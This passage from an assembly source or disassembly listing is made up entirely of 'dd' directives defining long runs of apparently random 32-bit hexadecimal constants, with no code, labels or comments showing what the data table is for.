		dd 0A0CD28A5h, 0F5687EDBh, 2E7BF296h, 9A00DADFh, 0C3D8C8B3h
		dd 0FA0B858Dh, 218E7C22h, 0E0EFA48Ch, 0CDFC9C9Bh, 3EED61EAh
		dd 8A76E112h, 8C70C6DAh, 0FFC829D3h, 26A07E1Dh,	9717125Dh
		dd 52C8A14Ch, 0F9CB9BF1h, 0B3B98555h, 0ECCF0E1Dh, 7457C0AEh
		dd 5AB00BB8h, 0F022B474h, 0B581A4A9h, 5A91E642h, 627CB719h
		dd 532E4593h, 0CC76B28h, 0B0A7351h, 67A124FCh, 61C1CCF6h
		dd 5C6A4BCAh, 0D8527F2Ch, 2583EF05h, 3A02A9h, 0B3511A25h
		dd 8AE98E4Eh, 22FE0E0Ch, 0FCB66106h, 8BF7BB9Ch,	6C4892D8h
		dd 15FBDFB6h, 4F8C804Bh, 0A0DD4064h, 0AB5BA8F2h, 2B981B12h
		dd 100CDCE4h, 62866C17h, 57A7FA07h, 89E2BA63h, 0E804A036h
		dd 176B69h, 0D5B82164h,	44B75B12h, 2E0681D4h, 7062A011h
		dd 3B4DF5BBh, 0D449C8E1h, 0DBE84ACBh, 413BC13Ah, 0FB4CE04Dh
		dd 0C6257F48h, 0BC29C681h, 78577D7Fh, 7EE2E299h, 0F3D0CF9Bh
		dd 0E32E8D14h, 0B99C425Dh, 0DC765360h, 15BA49B8h, 1D221226h
		dd 0DBB1DDA4h, 4E620DACh, 4B258C61h, 14094D1Bh,	0B288C23Eh
		dd 4092268h, 1FD6DCBEh,	0EA63F346h, 21909F49h, 4324362Ah
		dd 87998F27h, 2421B8BDh, 0EA4BC856h, 504EB3DEh,	0F655F90Eh
		dd 69BF46C9h, 0F2031204h, 735A7C6Dh, 0B25296E5h, 3F225007h
		dd 0D74F8A7Dh, 0D99599B0h, 0FF7F6B0Ah, 89F1770Fh, 4D3B62CAh
		dd 39ACF78Dh, 3DCDD4Eh,	0DB877641h, 1AA961BBh, 8CCD4039h
		dd 5559AA35h, 606F1D82h, 31294885h, 6D578E77h, 78599EF9h
		dd 67A5F07h, 0EA57F82Bh, 12F625h, 147CA83Dh, 23444B90h
		dd 0C441D96Bh, 0D0DC13C2h, 9AE93418h, 3FC92167h, 35FCBCD9h
		dd 0E2982198h, 7AF72738h, 0CBEEF11h, 1537BCADh,	0FD519D97h
		dd 83150E2Ah, 0EEC6549Dh, 86D9F10Ah, 267D5C1h, 0A84E177Fh
		dd 60E362A0h, 32645E5Bh, 8CFD8758h, 0F915C0A9h,	890F3C56h
		dd 709825A4h, 1C81C0E4h, 90041968h, 0A674D7FEh,	63367Eh
		dd 8DEFEC0Ch, 53A16A19h, 6A990315h, 32EF73C3h, 48FF2057h
		dd 9EFB24AAh, 0ACB720h,	6001915Dh, 3A1AF306h, 8A71D74Ah
		dd 678B720Eh, 7C95B412h, 450FE75Eh, 70FFE3BFh, 98A2F01Dh
		dd 96CB9E1Fh, 37A17AFh,	0EE9FF4DFh, 0E7F893AEh,	0B68EF231h
		dd 28DBA4E0h, 7F92FB58h, 0DF8F5543h, 21891E37h,	749CC353h
		dd 428AF1FFh, 0B551AFB6h, 61E14917h, 0B79CAB87h, 5EACFA93h
		dd 45D008C0h, 89AD009Ah, 2B8CB004h, 9647D739h, 9A7C1A21h
		dd 81E58970h, 79573CE4h, 438E0A04h, 3354946Bh, 542595B9h
		dd 44D988F2h, 0C3C2AC25h, 9B567F44h, 340539BDh,	75B1B7F9h
		dd 6EFA67F8h, 0BFF196E2h, 6CCE7A7Fh, 0FE9FECA2h, 821007F6h
		dd 5CA4E062h, 8D08869Ah, 0C8F6102Dh, 29B358DFh,	2F75F061h
		dd 0D12EE0FEh, 20B2FAA3h, 9F329F27h, 21333894h,	371E4CB2h
		dd 7FF2052Eh, 30F07CB0h, 437292D0h, 4893A7E3h, 5058D46Fh
		dd 0D1D7E72h, 0D7C10554h, 7DB836CBh, 70180CF5h,	8613A7C9h
		dd 42D094Ah, 0CE68BC2Eh, 99AC4AAFh, 6648E239h, 0D8C6180Ah
		dd 5B1E5F23h, 4354F03Eh, 8EF4E87h, 9C37D2D0h, 0A6D56C4Fh
		dd 0F6C81717h, 0B511FDB7h, 3F428798h, 0EF72DAEFh, 0D567DA61h
		dd 0D5396717h, 16FF2295h, 6A618809h, 2E7B4726h,	52B16AF7h
		dd 1984B5E5h, 58CC487Fh, 7CD14917h, 3AD3D328h, 26AEA85Ah
		dd 0A70F7BECh, 45C074F7h, 84E46F32h, 0BEE44823h, 5B34AE17h
		dd 0AB4F8C8Ch, 0E44D6FEEh, 14C44372h, 7E70582Bh, 8FF0CF50h
		dd 0CE6F4CA2h, 0D75E2A57h, 20EAA0E7h, 0AC23DCACh, 747B7D0Bh
		dd 0D4ED8BB5h, 933B74EAh, 925727F7h, 0E4D4748Ah, 44A64C05h
		dd 0A9C54202h, 728FC68Fh, 4CCD3B1Fh, 0CD16BB8Ch, 2161203Ah
		dd 321E7C32h, 0A53545B1h, 0ABABAB4Eh, 0F630A285h, 592F3742h
		dd 0AE3A4881h, 4629E9B2h, 48523758h, 5A7A9CEBh,	51A99A85h
		dd 0C769C671h, 0B3D90CB1h, 98F01811h, 0BC2367DDh, 0B90B93EDh
		dd 7F913C1h, 445279D9h,	789F8BEDh, 5791DFFEh, 1AF5BA27h
		dd 0DB9C2190h, 1386CC6Fh, 0B4E81C32h, 14DC8F4h,	3833599Ah
		dd 0D4FFC29Eh, 745F630Ch, 9E420F27h, 0A1738589h, 7C9B33A6h
		dd 79F52BD9h, 8F54EA1Dh, 30B1F06Eh, 0E051E49Eh,	0AEBBA910h
		dd 4E41CC8Ch, 1AD6ED86h, 0E639573Fh, 57B56885h,	0F8D29290h
		dd 42263619h, 96EF500Ch, 0A11DF1D2h, 0E0A13376h, 8CFDFCh
		dd 13D898AAh, 9B212A21h, 4F00B45Dh, 3387AC40h, 9A3B6D3Bh
		dd 7A97A67Ah, 8D3890Dh,	0D2AB56C9h, 393B65CDh, 8BEF3C79h
		dd 33698316h, 53E3E0FBh, 5FA4B82h, 9BA8C4A8h, 6DD3B283h
		dd 763EFC31h, 0E45FBCB0h, 0C2465BCFh, 0E3C92813h, 7410E709h
		dd 53D8D1E8h, 0ED917DEBh, 0EFAA1D3h, 6E8C0C5Eh,	6BA11326h
		dd 0FDF1A7D1h, 0E5D3445h, 933BBB45h, 49407A36h,	0CF0293A0h
		dd 0FA50FF27h, 0AE13137Ah, 7C4C060h, 26916353h,	1ED89426h
		dd 547F0F05h, 0EAB7D931h, 0EDD75D6Ch, 9EDEA3C9h, 4896EC97h
		dd 505C7437h, 0FE6BB4C1h, 0B1B3F095h, 3FE285F6h, 0AE18D8BCh
		dd 629EC45Ch, 0D816F85h, 419074ABh, 9993DE8Ch, 0E1C37F85h
		dd 0E6EA70DBh, 3A1D1C84h, 8A62F396h, 8CAE96F5h,	0A5E65955h
		dd 7362C129h, 0F58A3D0Ah, 5D1A0E40h, 92C53E78h,	0A62DD8A8h
		dd 78B799A3h, 883F237Bh, 6493E585h, 66B0B3CFh, 0DE16BDDDh
		dd 5D0E1408h, 0C7B82836h, 0C77C3A3Bh, 3E0D445Eh, 0A9ABE120h
		dd 0D4DA3AF2h, 0F991764Fh, 43FC918Bh, 21F41ABFh, 0C3CB40A3h
		dd 6402D3BFh, 191F963Dh, 0F7C8C093h, 5BBB0EEAh,	0A96BB18Eh
		dd 34AE78F6h, 99953046h, 0BE0A2C8Ah, 1C105B2Ah,	4A0FF8A6h
		dd 3EC71EC5h, 7D0FECDFh, 51E02F2h, 0BDA3140Eh, 69CD6672h
		dd 0BFAE504Ch, 65B9D99Ch, 0C292CE2Bh, 3D1A23FCh, 0FF51D2B5h
		dd 90A1AB03h, 6650C5CAh, 0ED270DF2h, 78653Ch, 0FB0B3718h
		dd 0D465F63Eh, 4ADB4C2Ah, 550C0BB7h, 0DBE332B2h, 1DBFA5DAh
		dd 1305399Fh, 1BF6A2FFh
		dd 598117BCh, 0CEA0B3Ch, 606CEF03h, 11ADE341h, 0A1435862h
		dd 5363FCF7h, 0B882C7BAh, 1E1EBC3h, 3585B864h, 6765E7ABh
		dd 0CB7D7128h, 0F364A49h, 0BA6E8C29h, 0AE65621Fh, 0E9641866h
		dd 119ABE0h, 2FA40D0h, 2949CE84h, 189694A5h, 2CC9AE57h
		dd 54D90EC8h, 8C1AD478h, 0D64BF583h, 35790982h,	6DF5B4E4h
		dd 85CBBB89h, 6EADA456h, 4905F1B3h, 41489B79h, 0DD8143B4h
		dd 1BD83642h, 0BC8C390Dh, 2447DBECh, 51E51DADh,	1A196446h
		dd 0ED21FE5Dh, 0E86E0AF4h, 419CEB29h, 800F020Dh, 2527804Ah
		dd 0E9DA893Fh, 0C9F1C10Fh, 0C994DB6Fh, 357D87A8h, 0B14A75F2h
		dd 0DD039D76h, 8E52F6AAh, 1A05FDDBh, 6ED7013Ah,	0A5ABA1D5h
		dd 0F2EA0CFFh, 4C5185D5h, 44502D8Fh, 72D9ABBEh,	0E294D8F4h
		dd 3A1BE824h, 0C74A2440h, 9569CA85h, 7771FCCCh,	8B1FDA74h
		dd 0B8E1EEA4h, 8706F93Dh, 0E0C46C4h, 3BCA1139h,	0F0697516h
		dd 0AE816225h, 7B89047Eh, 18D6A8E9h, 299FD297h,	1AC0A4FEh
		dd 36A8A543h, 7EE6624h,	0BAF6DF79h, 6BF8B86Ah, 60E31823h
		dd 0D70A57D0h, 0D55C8B1Ch, 0A8DE2EDAh, 0BC8D17D5h, 0FA267780h
		dd 204B074Fh, 66829112h, 50419E06h, 5FC011EEh, 576519B5h
		dd 0CBC788E9h, 0A75E5E2Eh, 0FC3DBFADh, 0F1BA7CB0h, 8CE857CCh
		dd 2BA0CD1Fh, 0D4540D0Ah, 0B66A5EA0h, 0BC2F91D3h, 68019A33h
		dd 82F38C2Ah, 0A991FDD2h, 0E16D903Ch, 0FC6CCBB4h, 0C41B0FAEh
		dd 1B4DD325h, 17587135h, 0F2654863h, 0C222C213h, 0DCCF7FBFh
		dd 7250DDF4h, 0DD30B342h, 4E5F75C9h, 30EA089Eh,	9CDCBE56h
		dd 5BB6995Ch, 0E6FC80EEh, 0E1B298CDh, 5973A12Eh, 6578A560h
		dd 70821BE6h, 1A61F29Bh, 35A550B4h, 524EB4C1h, 1727BD8Ah
		dd 594900E2h, 1AFAAE1Bh, 0B66E73C1h, 2F55C2CEh,	69F0D008h
		dd 0D86E310Fh, 0FA43FB45h, 2FBD421Fh, 45C54EACh, 0A9B671DEh
		dd 20D1CA5Eh, 0A9AFF12Ah, 9604C65Eh, 0DA28D7FBh, 8B494539h
		dd 0D89D480h, 19230761h, 48ADE6D8h, 3494AA9Ch, 0FE31FC13h
		dd 0FF9431F1h, 9D0349CCh, 59105FC4h, 0C11F8553h, 5919E845h
		dd 8E9BB988h, 0BB729B37h, 6BCF2DDCh, 6561C4CBh,	4F237352h
		dd 0DFE8D84Ah, 0DC6195F3h, 4D96CC7Ch, 0B4E499C8h, 7885261Dh
		dd 0B53524Bh, 66FC3F67h, 1D6ACEECh, 998AC8C5h, 6E79AF5Ah
		dd 90F6B98Fh, 65DC5BEBh, 0FCBB237Fh, 7C54CD7Bh,	2ABF6AF2h
		dd 0D6E52BF3h, 31992EC8h, 0DB08C396h, 29F53C13h, 4E13D98Ch
		dd 0F4B4F10Ah, 2F4F110Dh, 0E1245828h, 1E345C3Ch, 0CE5FE6B7h
		dd 53663FBFh, 538E2976h, 7C946365h, 0D2FEE447h,	78020D29h
		dd 0E3301B97h, 0C5F8839Ah, 64C73DB8h, 0A636CC64h, 724FB831h
		dd 3E486FD8h, 181117DDh, 0F9CE66F3h, 2D676082h,	0ADB99663h
		dd 0A38907D8h, 9130C852h, 80E0F2CAh, 0CEBDEF8Ch, 348A734h
		dd 6F3D88CFh, 0F04B36FEh, 0E0877320h, 0DFC38E01h, 681A432h
		dd 574BFAA0h, 0B3F1D5E6h, 9471CD1Fh, 0B7B6225Bh, 89039EB6h
		dd 0D971BBADh, 83B7882Fh, 5093050Bh, 1F0244F1h,	7C67B2B7h
		dd 510F543Eh, 0B682DD8Ch, 0A9266E3Ch, 91D96D6Bh, 9B35B538h
		dd 0E6FDE5BEh, 0A62FAF32h, 0C94A9F0Ah, 96CBEAD4h, 41453453h
		dd 75A6F6DAh, 803587FEh, 457E7959h, 74629BFEh, 9F543C6Fh
		dd 37A9745Eh, 960C1DC8h, 1FDDF885h, 0FFC76B0Dh,	0F80B9FABh
		dd 0B4131EF8h, 517CDE28h, 88EF8C55h, 3883D07Dh,	8D5E7244h
		dd 4A435307h, 0CCD12B29h, 97C03E84h, 79A18D34h,	589C04F5h
		dd 0C2FF3803h, 0C7F3B9C5h, 311F8C97h, 1177BEB0h, 0B2148ADDh
		dd 137D68EBh, 39A85F83h, 72C68355h, 0D2B29819h,	0CFFB6D8Eh
		dd 0F31AAED3h, 0C5AE1FCCh, 0C2BA0543h, 0F3B9BAD6h, 0D53BF774h
		dd 6D40DF66h, 475AAA27h, 12CFD95Dh, 70436798h, 0BDF97188h
		dd 90C0B6AFh, 9DB1ACE3h, 5F4714Dh, 64B3A846h, 0EC36BEFEh
		dd 4CB8EC2Fh, 41C80CDh,	6C10F714h, 4299FBD9h, 6FE97EABh
		dd 0B3CDB0ABh, 28131B07h, 37E4FF24h, 6FFDEEDCh,	1181DB78h
		dd 9031A82Dh, 6342E3F2h, 2005FD6Bh, 5FBAC5D4h, 908817F7h
		dd 4B96091Eh, 4BF64CEFh, 529AE892h, 0B950209Fh,	0EABFF560h
		dd 4EC36707h, 6A74F599h, 4740182Ah, 50B431DCh, 79C77BA7h
		dd 0C8221AF5h, 8A71AF0h, 5A83741Ch, 40843C67h, 75A7BA5Eh
		dd 17045EE4h, 0DC1F7116h, 0DFFBBDA1h, 3B74D8F3h, 8F46FA47h
		dd 0C8622768h, 93FCBD59h, 115FB8E5h, 569C15ABh,	426FB035h
		dd 9FF5F320h, 0CBFF9550h, 297D26CEh, 3A8B89DAh,	0F24C7A05h
		dd 0CD27452Bh, 0BDD74E3Bh, 2B866F84h, 9DA4B621h, 0E35B636Eh
		dd 0AC4C2615h, 0D43FCCF2h, 1009E91Ah, 0E17C6A49h, 3D30A9Ah
		dd 0E2205885h, 5F64F03Eh, 0E9C2C0A1h, 2DC39F19h, 265C8C3Ch
		dd 2A37ECBh, 0F62A884Bh, 500BD821h, 229AC3E4h, 33F860F7h
		dd 331EC040h, 0B5660A7h, 4BA26A34h, 0EEECC194h,	0C19B7B1Dh
		dd 8725C6CCh, 1E39C7ECh, 0EBF442DBh, 5BD70678h,	17349D4Ah
		dd 0C5317A97h, 2E08C4DCh, 0AB3A52F9h, 7C9854ACh, 0DBC0943Dh
		dd 7722A8F3h, 5744DD8Bh, 37F403Dh, 2299E24Fh, 0B0221B51h
		dd 36882476h, 0BAFC4810h, 3B1BF315h, 0C02CE80h,	4CCA9F4Dh
		dd 0ECA859ABh, 32634B07h, 208A8D1Ah, 89450DA7h,	3AF8CFEEh
		dd 0B1C4383Ah, 0F7F5A7ADh, 0EB3CBBF1h, 7960AC8Ch, 1536F940h
		dd 97CFB3E4h, 4EA28B82h, 0F1E4DD68h, 2E80A016h,	0D85388B7h
		dd 9F1B0332h, 0DF0E9AE4h, 0A4F72DF9h, 4C116D43h, 3DCC3187h
		dd 0C9FF4EFFh, 86F9DE44h, 0D993F243h, 0A3CF1F0Ah, 1D2B2F09h
		dd 96808FDFh, 0DF983C7Dh, 3C0DCFC8h, 0E05E7823h, 0B518A725h
		dd 6AD7745Dh, 129259Fh,	0EAC02E0Eh, 55370FCDh, 22E4B5C8h
		dd 0C6D56268h, 0E69384D9h, 59B28556h, 77831312h, 6919908h
		dd 4D4297A5h, 7F535254h, 1106FE20h, 4D68CD6Dh, 98504331h
		dd 0DC43A0FAh, 0AF81F0B7h, 23964902h, 3DAB38B6h, 588E5C3h
		dd 9D7FD8FCh, 9A1A3BB4h, 203EC6ACh, 0B0EFDF8Ch,	4AF82036h
		dd 0AFA826ECh, 80C3BB49h, 15BF9F2Ah, 0B881BF4Dh, 0D70AD970h
		dd 38E2932Bh, 0C43F3F47h, 0CE6530A2h, 0EA7624Ah, 0D6C99362h
		dd 2232E785h, 2A22A16Dh, 1A24ED0Ch, 8B9CF390h, 85E38D35h
		dd 414B89C4h, 8244E952h, 0B7455E68h, 8D359419h,	0C2001244h
		dd 85C870DBh, 5B171A7Dh, 0E7F09768h, 9B040C05h,	79148ECCh
		dd 0ED45C966h, 3F3B56FBh, 8EC26F3Eh, 0DFBA2081h, 8FA97B72h
		dd 38E1D786h, 0F84893D3h, 9573AFF9h, 0D1071F94h, 0B485A11Eh
		dd 8A0B2F35h, 1D34E95Eh, 820E054Ah, 2B6231DBh, 0D4AEEE89h
		dd 0C05FE137h, 0FCEDE529h, 0D3B594C1h, 0A9E296F3h, 0A06B5720h
		dd 9EF00D1Fh, 49578528h, 8940CCBh, 87DD9C63h, 7205E1B9h
		dd 0FA5259EEh, 79227736h, 3212DE5Eh, 70BB36E8h,	6E820CF1h
		dd 5B9BA8C8h, 0C300A87Fh, 0F666195Dh, 2DFAA54h,	419B5F78h
		dd 0CC661DA6h, 6ECC908Dh, 0AB51A0CEh, 0F5B28503h, 3498BFFCh
		dd 0B814D489h, 0DDAFE370h, 26325527h, 0D7A165B3h, 0EA7D9EE9h
		dd 0C839D8BCh, 0A074BB41h, 6F51F61Fh, 609D37CDh, 75A3422Dh
		dd 7B1F282Eh, 0CDD3545Fh, 0B96D42C0h, 97F4B699h, 7387A7A9h
		dd 1452E3B8h, 0A7C24C1Eh, 7C1D175Ch, 2BB3485Bh,	67597138h
		dd 5A7D4F79h, 6E8A4311h, 0CAF9BD9Fh, 1658E1F7h,	9C280518h
		dd 0ACABD5F4h, 0D4E76EA0h, 66E54C63h, 7686A097h, 0C52881FBh
		dd 6CA3B324h, 4CDA4CA9h, 3BF63BF4h, 0D5A7C115h,	92D86D25h
		dd 0A78AF5FDh, 0CF07E763h
		dd 0B0E7B7E6h, 0E53D970h, 9E60398Eh, 0E7465983h, 0A9BB8E38h
		dd 0E18C19DAh, 0D28FCC65h, 70826AFFh, 0BDF3E103h, 3FB3B2CAh
		dd 4594F7BEh, 0A9FD2D1Ch, 47595D72h, 77664DA2h,	1B1CD739h
		dd 1310F312h, 0ABB92D32h, 4975E59Eh, 417F480Dh,	3ACCBBDCh
		dd 9E39FEF0h, 7FD76A28h, 0B3CF1FC2h, 0D169BBD6h, 0A7CD6682h
		dd 61BD81C5h, 7B73CBDBh, 19781032h, 6B650CEDh, 124BD641h
		dd 45E17E06h, 713360EEh, 896F3A6Fh, 0F6EAC936h,	390276Bh
		dd 179216EBh, 9F09E557h, 0D53828CAh, 0D65D8E89h, 0E77D7CA3h
		dd 0CF743274h, 52E62F92h, 37D39B3Fh, 0B1690CA3h, 0F3EA87C7h
		dd 0B00F37A1h, 0A7EEF27Eh, 0BA4DCEE5h, 0CCF1F797h, 0DEA1C9C2h
		dd 0AFFFFE83h, 96FB965Ah, 9BF933FAh, 0A702BEB2h, 0C51051F6h
		dd 9924039Fh, 3E348289h, 86B36FB1h, 8CD330DAh, 47004A9Ch
		dd 0C8B429A5h, 0CEFF9E45h, 472B7F71h, 0D5CAA684h, 4271740Bh
		dd 48257B80h, 543A57DAh, 0E33DB7ACh, 7DD43165h,	27039E11h
		dd 0A1B73108h, 8890923Fh, 0CE2C0C4Bh, 0C9195B9Eh, 48E03C27h
		dd 6E2E280Fh, 6F8C028h,	824FD464h, 4B199408h, 0C29AF528h
		dd 0F7837602h, 1063ECAFh, 220356ECh, 990252CDh,	684BCD4Ch
		dd 86729071h, 5A580475h, 21303ED8h, 171F9D55h, 6505D4A5h
		dd 45119462h, 3806444Ah, 0DBEEC0FFh, 50BE289Ch,	56F56254h
		dd 6F83A934h, 220984F8h, 0DD63312Ch, 0E36C3351h, 5ABA7D5Ch
		dd 3DC4D079h, 2710AA23h, 5E941840h, 21DA8CDAh, 0A7A3ED78h
		dd 580FFC1Fh, 0C70C8F91h, 0D3C018D5h, 81909116h, 0CA289C21h
		dd 8440E50Ch, 786A5512h, 77EBEA50h, 0BD75BD2Ah,	420E7C8h
		dd 86D6F53Ch, 0AF24AD54h, 0ADF0A2DFh, 585332D8h, 57622B69h
		dd 33B1897Bh, 0DF3ECA33h, 164078F5h, 9E36B527h,	6C092678h
		dd 7CB67CCFh, 0B369905Ah, 9AFC7886h, 6F4F2A89h,	58BC03FDh
		dd 8769CA23h, 48F215EBh, 0ABCEA4Bh, 661517BBh, 0C703C961h
		dd 91550EA2h, 19B04BACh, 71569CCh, 0CDDE43F6h, 606737Fh
		dd 0D3F7E3E8h, 4F462A27h, 0A61B4BADh, 9D129741h, 66FDF846h
		dd 50C04EB1h, 9796C035h, 6B30CB94h, 0C6F4086Fh,	9E4BCD8Bh
		dd 0B2AD81Fh, 8244062Eh, 41E1ABFEh, 49C01968h, 5F14F2E5h
		dd 0DDC06DC0h, 0D6058FDAh, 854F0887h, 970AE9BDh, 0A27F9C0Fh
		dd 0FE3B6D70h, 50A03CCh, 9538E59Ah, 6DD92F07h, 16E6CD75h
		dd 36A514C0h, 946B50B4h, 703029D8h, 1BB4F16Ah, 0AE9BEAD0h
		dd 0E766BF45h, 6155ED25h, 0D002995Dh, 0EBD19659h, 92581E90h
		dd 0DFBF4156h, 0D4CAE03Ah, 46EC53B9h, 29AD698Dh, 4993D4Eh
		dd 0DBBE3ABBh, 85551C5Bh, 237F3C2Dh, 0E8143C71h, 0D5DE9487h
		dd 0B7CC058Eh, 82F1E3E9h, 0C217E230h, 7637DC00h, 0C163D100h
		dd 0E1D7DCDEh, 9785C5A3h, 7953E543h, 0A40D96D1h, 154CD278h
		dd 7E6730B9h, 53FB9211h, 2A0876B1h, 9CAB24EEh, 5D1454h
		dd 83EA976Fh, 0CD45A501h, 262BBE97h, 0D9D97242h, 1E73A78Ah
		dd 0DF6C529Bh, 1F1F9865h, 0DAD2A28Dh, 0D5D34010h, 9054CCFFh
		dd 4BB86CF6h, 68D5F262h, 0F306AFCCh, 0C6D46817h, 2B9E110Bh
		dd 9BFE52FEh, 0EF0E5658h, 999D3177h, 0DAFA4E93h, 0B6E8DABBh
		dd 0F6763DF9h, 0D55200E4h, 0D9255886h, 95D2E6C6h, 0A40D0EA1h
		dd 0B4CF4D94h, 4852FA3Ah, 6DB2399Ah, 0D9F34CFh,	4F95692h
		dd 0AE1BA507h, 76F8AA9h, 0C3ADC543h, 74746B45h,	959F7BCEh
		dd 3D2209F6h, 7B0884C5h, 0E75805FCh, 2D427198h,	2231DB1Ah
		dd 6739BC2Fh, 0B7B59BFAh, 81E8E68Dh, 578E6AEFh,	95765230h
		dd 0E93CE8B9h, 0FECB69EEh, 0F9117165h, 0E7A39077h, 0F92685D3h
		dd 52637539h, 4EB65BFAh, 0BFD8E535h, 0E4E57ECCh, 0F04D5C2Ch
		dd 0ED20AD74h, 765F9CA3h, 341A7B3Bh, 0CF413D9Bh, 0DE66D93Bh
		dd 0EFA2F916h, 46935C30h, 0EC134B86h, 38910F84h, 20F55205h
		dd 0E7BE4E2Eh, 64777CB5h, 3C6F2FC7h, 7527ADBEh,	0A8B0F44Ch
		dd 0A38919DAh, 0D79DB26Ah, 8CA2DE91h, 35CB8434h, 0F94351AEh
		dd 4608F054h, 0C1265498h, 845F4753h, 0E486E7E3h, 0D2E293E0h
		dd 0A0CCAFADh, 0ED2CD262h, 133E0F3Eh, 6C4C44Ch,	0B297CCE3h
		dd 84F0EA10h, 50F39DEBh, 64E3E455h, 57B471CCh, 0E5AA0FE3h
		dd 1C77480Eh, 72F2B819h, 0EEFDC925h, 800FA7CDh,	0BE6E27B4h
		dd 5345DDF2h, 60B052B8h, 0D40C4952h, 0F7B977D8h, 0E671C8E9h
		dd 0CF6FBC5Ah, 50B93270h, 0D32A4F9Ah, 0D7E2AFEFh, 0DB17F764h
		dd 9B438DD1h, 44644CB5h, 0D92BBB9Fh, 5EF2536Dh,	92BCB1B0h
		dd 5965B59h, 66249CE3h,	0E265BA58h, 0D0511FD4h,	69D33E2Eh
		dd 7A63C59Fh, 0B53E4F30h, 1942C78Bh, 61B78835h,	0E1E1D91Fh
		dd 9EF994C8h, 8B80A80Eh, 8B3C789Eh, 126EBC46h, 0C9DF9F75h
		dd 675A6837h, 0E42E804Bh, 0C16DEE5Dh, 3C710E8h,	5AC7C1EAh
		dd 0C97261C1h, 9907374Dh, 708B3E38h, 0DFCDEAh, 64BA579Fh
		dd 0FF6C7AD4h, 4092F5D5h, 0C83A0ED5h, 0A7ABF050h, 0EEF8127Bh
		dd 0D1A32029h, 4E86ECACh, 714F70ABh, 22233C19h,	86712C6Ch
		dd 774BF5D7h, 555D25F6h, 269E2F9Ah, 9D343F56h, 0CDE4A007h
		dd 0F1189A28h, 49DED5AFh, 0FA3CF772h, 597D0E5Ch, 170D0079h
		dd 0C5C35065h, 0DD4A2690h, 86EF988Ah, 32862800h, 0B9E9B745h
		dd 165DF671h, 3CEB8C33h, 5D7C9F79h, 6575CD7Eh, 0F2B0C56Ch
		dd 3DE4485Ah, 0CC044266h, 50969D25h, 81AEF94Fh,	9AD8337Dh
		dd 0AAA9DCC2h, 881D3EC7h, 285C6DF6h, 0CFA6C825h, 0C31BD519h
		dd 66985439h, 316E65D8h, 0EFF7B7C7h, 36A7BB04h,	4DCB8E15h
		dd 0A2CD5FDDh, 0A6F464E0h, 8F9C5B8Fh, 10469C70h, 3C7830F0h
		dd 0E8DED857h, 4AE50054h, 862B461Fh, 1D07A263h,	390C9923h
		dd 0CB5BF890h, 4B0DDF4h, 6158C643h, 0AC1D0332h,	105777F8h
		dd 0DF4ECC2Fh, 99B43940h, 26EEA16Eh, 0BB655F00h, 52608D3Fh
		dd 3003EDB4h, 0EF640C28h, 37BB70A6h, 0F60BC027h, 0F95920E7h
		dd 0FE7D0270h, 8167DC75h, 0DA413ED4h, 763EEB07h, 0E5122F54h
		dd 0E5588DCFh, 0DCE29061h, 7784106Ah, 7B163DB1h, 0ADB03CF1h
		dd 0B2FBEA4Ch, 164C60E4h, 0ACE1FD45h, 0D2875E1h, 0DF675174h
		dd 33809EC2h, 0CCC77E2Ch, 0CBB91C2Fh, 0C627E310h, 157CA69Fh
		dd 6F4B5B85h, 0EFE8CDA4h, 0A3295D67h, 0E0F935BFh, 46947937h
		dd 0D797C90Eh, 223CAD86h, 7774DDAFh, 4D0307D6h,	4BB34FAAh
		dd 0B3F7C652h, 1CD5A833h, 2DEE87D1h, 0F9C6262Ch, 0E6E1A291h
		dd 6EEADA38h, 0A5FDE8F8h, 0D0F2D148h, 8E522285h, 7AD41CEDh
		dd 4F40E4F7h, 0BF8A9BECh, 4B282A41h, 0E74C8AADh, 0A00D14Ah
		dd 443BFCE3h, 45007AB4h, 9DE13977h, 0DA8E1DBBh,	3745C1F9h
		dd 7CA3AA22h, 0D1D5D54Ah, 0F4B1752Dh, 55A51D9Ah, 7101A0BCh
		dd 0F218B4DCh, 0FF5D6D6Eh, 3A556BA0h, 63E164Eh,	0F7758059h
		dd 9E1593BCh, 0C1983C40h, 3B1E4516h, 1E0F5D06h,	0B0A97932h
		dd 558F176Dh, 4419F923h, 0CBA0F4A6h, 13D04A6Ah,	47422983h
		dd 0A44DA01Eh, 9AB583FCh, 4E395B25h, 16C1071h, 3599AF3h
		dd 6F6958Fh, 0EBA01947h, 0FEF27FB5h, 0E30C21F2h, 334EA608h
		dd 5B531457h, 0AA0DFA21h, 0E42B6566h, 0CD13B841h, 0B9792DF0h
		dd 255D58BFh, 0E734BA1Ah, 341BB1D0h, 0F967EDD1h, 24DC9762h
		dd 0A703AF6Fh, 7E8DF077h, 0BC39216Ah, 46D9E732h, 0B2C7F668h
		dd 0B8271713h, 0B0D6D481h, 0FF61D709h, 7E3B2076h, 0E469A66Ah
		dd 0E7A7802h, 44E9529h,	0A946948Dh, 0CD68BC11h,	89B7EC72h
		dd 0D98D66BEh, 4E343CD9h
		dd 89D3A0D9h, 0B2759F38h, 10E6BEA3h, 1EC9E6C6h,	0D6B43CCFh
		dd 81CD3D77h, 0EDB0918Ch, 5B7B9E71h, 0B2C4636Eh, 6F160929h
		dd 607CE390h, 7BDB9311h, 5C16B089h, 227B8CF3h, 0DFAAED8Bh
		dd 0A1786B74h, 0EABC105Eh, 927A452h, 4E1F06ABh,	7F1CD6B6h
		dd 4A552634h, 2F6224BEh, 0F22EA9D7h, 3A0A6108h,	0AFBE61E7h
		dd 4AE72E1Dh, 0E9FE9E8Bh, 21D33FCBh, 1A44E1B1h,	0EC147621h
		dd 0AA6BBE6Ch, 8ADD2105h, 8B3869C1h, 0D505EF9Dh, 2836A7CAh
		dd 70071FD7h, 97F0952Eh, 0CF0EC236h, 0F8586DD9h, 0A992FB6Eh
		dd 14C96990h, 96459E28h, 30E108F6h, 0C6E6DCAFh,	1530F0EEh
		dd 95EB40FDh, 2D311F10h, 374576FBh, 0D1343DC6h,	0EA16E397h
		dd 91DEFDD1h, 650D7BDFh, 4B774EF6h, 2C3EBC3Bh, 0B64D9AB2h
		dd 0F0182E50h, 0D6399CC9h, 85B8834Dh, 77EDCE4Eh, 0F462809Eh
		dd 3876A2D9h, 6A90EF71h, 94625AAh, 8982900Bh, 59CA4B39h
		dd 0A5DA2118h, 25027A3Ch, 78059EBBh, 8456DC6Fh,	69A5AEA8h
		dd 5B3D6586h, 93EC7D8Fh, 8434DFE7h, 9B4F02C1h, 1617051Fh
		dd 3C9AD95Dh, 8035B682h, 8C01B2E0h, 7140A6AFh, 0B5CE011Ch
		dd 7485F344h, 324D65F2h, 400E4A61h, 0F1ADFA14h,	0DDDBD4C6h
